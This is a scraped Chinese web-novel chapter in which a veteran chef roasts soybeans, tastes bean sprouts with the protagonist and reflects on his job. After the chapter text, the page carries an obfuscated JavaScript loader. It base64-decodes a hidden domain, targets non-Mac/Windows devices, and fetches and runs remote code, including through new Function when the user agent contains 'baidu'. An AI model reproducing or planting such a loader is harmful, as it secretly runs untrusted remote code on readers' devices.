万里小说网

阅读记录  |   用户书架
上一页
目录 | 设置
下一章

第158章 157豆子 豆芽和刘漂亮的馊主意(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |
电影推荐:辣妹神探(天天影院) 
热门推荐: 学长我错啦(H1V1吧?)暗许(1v1 年下)星帝睡前一篇小黄文桃花煞养尊处优的女仆大人

“你小子还真别不相信。”徐师傅指指骆一航,把手一摊,“豆子呢,拿来。”

“哦。”骆一航又从包里掏出一小袋豆子。新打的,用了脱粒机,速度可快了。

徐师傅接过豆子,在手里颠了颠,摸出几粒来看了看,念叨了一句,“这豆子不咋……”

话说到一半,皱皱眉,直接扔了一颗到嘴里,嘎嘣一咬。

老爷子牙口还挺好。

“呸,呸。”碎黄豆吐掉,徐师傅又指着骆一航,“糟蹋东西。”

说完站起来,拿过一个不锈钢盆,接了半盆凉水,把一小袋豆子全倒了进去。

“水,水,这是凉水。要用温水。”骆一航还提醒呢。

徐师傅瞟了一眼,淡定道:“知道是凉水,我不发豆芽。”

“不发豆芽您要干吗啊?我想问的是豆芽咋做。”

“还能咋做。”徐师傅叫过一个帮厨,把豆芽都给他,“焯遍水,断生就行,捞出来过凉水,拿醋蒜汁辣子拌拌。”

转头跟骆一航说,“还能咋吃,就凉拌。”

挥挥手让骆一航一边看着,他又往盆里撒了两勺盐,手伸进盆子里转了几圈,把浮起来的几颗瘪豆子挑走扔掉。

豆子洗洗干净,水倒掉。

拿厨房纸把豆子上的水吸干。

又拿过一个平底锅,翻过来在火上把锅内面烤热,豆子倒进去,用余温烘干豆子表面剩下的一点点水分。

再把锅架在火上,开小火,又烧热后,拿着锅顺时针慢慢晃,豆子在里面也跟着晃。

晃着晃着,香味儿就出来了。

也就十分钟吧,豆子表皮崩开破裂,继而卷了边。

关火,倒出来,晾凉点儿撒把盐。

徐师傅把豆子放到小桌上,又摸出瓶酒,俩杯子。

招呼骆一航,“喝口。”

骆一航摇摇头,“还开车呢。”

“让刘小子送你一趟,喝口,尝尝你的豆子。”

那行吧。

这会儿帮厨也把凉拌豆芽端上来了,还送了两双筷子。

徐师傅倒上酒,拿起筷子夹了一颗黄豆扔嘴里,翘着腿眯着眼仔细的嚼了好久才咽下去,端起酒杯抿了口。

他是先吃菜,后喝酒,挺新鲜的。

骆一航也夹了一颗,送进嘴里轻轻一咬,好似牙齿刚碰到,豆子自己就碎了,酥,特别的酥。

如果说脆是咔嚓一下的话,酥就是细小的,密集的,一长串的脆组合而成。

口感非常的舒适。

骆一航又夹起几颗豆子,一起放进嘴里。

牙齿一碰,豆子们在嘴里噼里啪啦裂开,好像在跳舞。

大把吃口感更绝。

这烤(炒)豆子,口感能占7分。

味道只有盐味和豆香,虽然也很不赖,但被口感完全掩盖住了光芒,只给3分。

然后骆一航又夹了一口豆芽。

这豆芽今天上午发好的,家里还没尝过。

豆芽入口之后,口感是脆爽的,清爽脆嫩,但是这豆芽它竟然有回味,咽到肚子里还有清气味返回来,绵远悠长这四个字竟然能用在豆芽身上,太神奇了。

这两种都是绝好的下酒菜,徐师傅一口豆子一口酒,一口酒再配一口豆芽,吧嗒吧嗒小口抿着,下了一杯酒。

酒气上涌,脸色都变红了。

看来酒量不咋行埃

话匣子倒是打开了。

拿筷子指点着豆芽,“这豆芽发的不行,明天带点儿来,我给你弄。”

又指着黄豆,“今天急了点,下回给你弄个小酥豆,比这有滋味。”

最后,又指点着周围,这厨房。

“要说吧,你这地方还不错,没啥乱七八糟的事情,清闲。就是太小,没什么意思。”

这倒是实话,徐师傅拿这点钱,跑到骆一航这边真的是在躲清闲。

他当了一辈子厨师,不在厨房待着他难受。

骆一航这边多好啊,不用置办席面,不用准备那么多菜品,每天就一午一晚做两三拨小龙虾,配方流程还都是定好了的。

徐师傅弄这点儿东西,全当松松筋骨。

没事儿在厨房里一待,每天没事儿喝喝茶看看剧,指点指点帮厨,跟鲁师傅聊聊天,有时候张晓茹跑进来哈拉两句逗逗闷子,晚上还能看看小年轻玩儿告白,跟演戏似的挺热闹。

小日子有滋有味。

但是吧,这种日子过俩仨月挺舒坦,时间长了就会觉着没意思。

徐师傅自觉着还能干得动,五六十岁在厨师这行正是黄金年岁,经验够足,手艺都练出来了,精力体力还都能撑得祝

所以啊,徐师傅还是想回凡人居,因为整个天汉,就凡人居一家档次够高,能对得起他这身手艺。

再或者……

(本章完)

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间